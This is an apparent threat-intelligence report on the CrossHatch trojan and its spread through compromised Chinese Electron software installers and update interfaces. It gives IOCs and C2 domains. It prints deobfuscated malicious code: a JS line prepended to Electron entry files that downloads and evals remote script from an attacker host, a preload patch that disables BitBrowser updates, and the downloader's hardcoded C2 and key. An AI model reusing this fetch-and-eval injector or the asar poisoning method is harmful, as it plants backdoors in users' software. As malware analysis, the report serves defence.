Background

Since our discovery of Operation Dragon Dance^[1] in 2021, we have repeatedly emphasized the vulnerability of domestic Electron software – products built on the Chromium embedded framework are highly susceptible to remote code execution attacks. Subsequently, we have uncovered espionage campaigns by overseas APT groups exploiting dozens of 0‑day vulnerabilities in domestic Electron software, including Operation DevilTiger^[2] and Operation South Star^[3].

Entering the AI era, the barrier to source‑code auditing of Electron has dropped dramatically: attackers can now discover exploitable interfaces by merely consuming tokens. In some cases, AI even starts directly from OSS keys left inside the asar package, further lowering the cost of supply chain attacks.

This shift has translated into real threats. This year we have already monitored over a dozen supply chain attack incidents against domestic software, with attackers ranging from high‑end cybercriminals to emerging APT groups. Some non‑politically motivated supply chain attacks have been disclosed to the open‑source community^[4][5]. At the same time, AI’s excellent coding capabilities have spawned a large number of engineered bespoke trojans – in just the first half of this year we captured a considerable volume of new samples. In short, AI‑driven cyberattacks are posing unprecedented challenges to the advanced threat discovery and attribution capabilities of various vendors.

In June 2026, the RedDrip Team of QIANXIN Threat Intelligence Center, through its private AI‑powered threat intelligence production pipeline, continuously detected a new bespoke trojan, CrossHatch, being distributed via supply chains of multiple domestic Electron software products. Some supply chain nodes exhibited targeted delivery behaviors. Various signs suggest that the attackers, likely for economic purposes, are conducting high‑level attacks against domestic and cross‑border e‑commerce businesses.

The Tianqing "Liuhe" Advanced Threat Defense Engine can already intercept the CrossHatch trojan:

Supply Chain Entry Points in Domestic Electron Software

Supply Chain Entry via Official Website Installer of an IM Client

Full attack chain as follows:

Download URL details:

The attackers hid malicious logic inside the app.asar of the Electron installer. After unpacking, the modified code is located at node_modules/electron-updater/out/main.js. After deobfuscation, the logic downloads a white‑plus‑black DLL component:

Meanwhile, main/index.js requires the module require\("electron\-updater"\), so the installer automatically loads it upon startup.

Supply Chain + RCE via an SCRM Client Announcement Interface

The supply chain attack against the SCRM client is relatively more complex. The attackers appear to have used a combination of the official announcement interface supply chain and RCE to deliver CrossHatch to specific targets. Attack chain:

During our audit of the SCRM installer package, we found no embedded malicious code – it is most likely delivered from the cloud. We then performed vulnerability mining on the ASAR and discovered two RCE‑capable interfaces:

1. Remote JS loading interface: In main/tabConfig.js, the function loadTelegramInterceptFromRemote loads a remote official high‑privilege JS. If an attacker can control the JS content, RCE can be achieved – the principle is similar to the earlier Apifox incident.

2. Official announcement interface: This interface uploads the client’s account, tenant, and department identifiers, and pushes announcements. The client has multiple places where server‑returned JSON fields are directly concatenated into webContents\.executeJavaScript without proper JavaScript string escaping. Two of these paths enter a local BrowserView with nodeIntegration: true, enabling a direct jump from server responses to Node.js, local file system, and system command execution:

Combining local EDR logs and the client’s network request to the official announcement IP before triggering the RCE command cmd\.exe /d /s /c "tasklist | find /i "sm\.exe" (a malicious command), we comprehensively determined that the attackers compromised the target via the second path:

From an OPSEC perspective, the SCRM attack chain is more sophisticated and harder to trace. However, from a terminal defense standpoint, because both supply chain paths ultimately launch CMD via child\_process\.exec\(\) to achieve RCE, the EDR sees the same command line for both incidents – a certain Electron main process (XXX.exe) launches a CMD command with specific parameters: cmd\.exe /d /s /c XXXX.

Weapon Components

Downloader

Hard‑coded configuration:

strcpy\(v7, "https://dash\.autotranshub\.com"\); // C2
sub\_1400B72A0\(&v31\[1\], "$5j8RCi4U2\#4A^", 14i64\); // Pre‑shared key \(PSK\)
strcpy\(\(char \*\)&v39, "1\.0\.0"\); // version
qmemcpy\(v18, "windows", 7\); // platform
v42 = 60; v43 = 10; v44 = 5; // heartbeat period / jitter / minimum interval \(seconds\)

Communication protocol:

Communication structure:

\{ "client\_id": "<hostname>\-<username>", "timestamp": <epoch>, "payload": "<base64\(AES\-256\-GCM\)>" \}

client\_id is constructed from GetComputerNameA\(\) + "-" + GetUserNameA\(\); if the hostname cannot be obtained, it falls back to the string unknown. The plaintext inside the registration contains hostname / platform / version.

Encryption: SHA256("$5j8RCi4U2#4A^") → 32‑byte AES‑256 key; ChainingModeGCM; nonce is 12 bytes generated by BCryptGenRandom; standard Base64 transport. The code explicitly checks that "key must be 32 bytes" and fails with "AES-GCM authentication tag mismatch" on authentication failure.

Runtime capabilities:

• Startup: CreateMutexA\(NULL, TRUE, "Local\\\\single\_instance"\) – single‑instance mutex (exits if already present) → FreeConsole\(\) to detach from console → register → spawn worker threads.
• Heartbeat thread: first random delay 4‑14 seconds (Mersenne Twister, seeded by std::random\_device), then every 60 + rand(-10,+10) seconds, with a lower bound of 5 seconds – jitter to evade fixed‑period detection.
• Process reporting thread: traverses with CreateToolhelp32Snapshot, converts process names to lowercase, deduplicates, and POSTs the full process list every 1200 seconds (20 minutes). Additionally, QueryFullProcessImageNameA can retrieve the full image path.

Electron Application Poisoner

Core functionality enumerates all Electron applications on the victim machine, removes "use strict" declarations (to prevent strict mode from breaking injected code), prepends malicious JS to the very beginning of the entry file, and uses asar\.WriteFile + updateOffsets + updateHeader to rebuild the archive header and offset table. This leaves the tampered asar structurally intact and the application starts normally. The deobfuscated malicious JS logic is as follows:

require\('https'\)\.get\('https://app\.autotranshub\.com/scrm\.js', function\(res\)\{  
    let data = '';  
    res\.on\('data', function\(chunk\)\{ data \+= chunk; \}\);  
    res\.on\('end', function\(\)\{ eval\(data\); \}\);  
\}\);

It loads the remote scrm\.js, whose core function is to decrypt data from the C2 server (https://web\.navicat\.cc/basic): Base64(XOR(JSON({fid, sid}), "strumarium")), and pass it to eval, implementing a hidden backdoor that parasitizes legitimate Electron programs.

This plugin also includes a preload patch for BitBrowser, patching exposeInMainWorld to replace downloadFileService and onUpdateAvailable with stubs that always return true, effectively disabling updates.

/\*\_bbp\_\*/  
\(\(\)=>\{  
  const \{contextBridge:c\} = require\("electron"\);  
  const \_o = c\.exposeInMainWorld\.bind\(c\);  
  c\.exposeInMainWorld = \(n,a\) => \{  
    if\(n === "bitClientMain" && a && typeof a === "object"\)\{  
      a\.downloadFileService = \(\) => true;  
      a\.onUpdateAvailable  = \(\) => true;  
    \}  
    return \_o\(n,a\);  
  \};  
\}\)\(\);

BitBrowser is mostly used by e‑commerce customers in China, and the affected SCRM software is also used for cross‑border e‑commerce. All signs indicate that this high‑level campaign is likely economically motivated.

CrossHatch Trojan

CrossHatch is loaded into memory by a relatively traditional manual PE mapper, with the protocol magic number "Cross" and C2: www\.msultra\.xin. Communication characteristics:

Built‑in capabilities of the trojan:

The core capabilities are mainly provided by plugin PEs delivered from the C2. The in‑memory loading structure is fully consistent with the MemoryModule project:

qword\_14007B4F8\(
    sub\_1400092D0,           // callback: send messages to C2 \(plugin return data\)
    sub\_140006270,           // callback: file chunked upload \(WinHTTP, UA = WinHTTP UploadFile/1\.0\)
    sub\_1400078F0,           // callback: download file to disk \(DeleteUrlCacheEntryW \+ URLDownloadToFileW\)
    dword\_140079364,         // configuration word
    11,                      // protocol/version constant
    &String1                 // C2 URL
\);

Summary

At present, all products of QIANXIN based on threat intelligence data from the Threat Intelligence Center – including QIANXIN Threat Intelligence Platform (TIP), Tianqing, Tianyan Advanced Threat Detection System, QIANXIN NGSOC, and QIANXIN Situational Awareness – already support precise detection of such attacks.

IOC

MD5:

8fb230a39b06c8aadce608f2abda19f1

a8020097a34d32721ddcba6cf75091b1

bdcaa7dc332f473ddbb50e606b1e707f

26f62150a38a0cd2d9d1087296e3d655

fb15ee51b257c91952082c1a35fe26c0

e6968d38ddb68931ff3e43db9e1535a4

1c801f78185f11eccaa5a37a62720e00

C2:

autotranshub.com

msultra.xin

winterms.com

navicat.cc

homeital.com

identifiles.com

msapifast.com

References

[1] https://ti.qianxin.com/blog/articles/operation-dragon-dance-the-sword-of-damocles-hanging-over-the-gaming-industry/

[2] https://ti.qianxin.com/blog/articles/operation-deviltiger-0day-vulnerability-techniques-and-tactics-used-by-apt-q-12-disclosed-cn/

[3] https://ti.qianxin.com/blog/articles/operation-south-star-cn/

[4] https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn/

[5] https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn/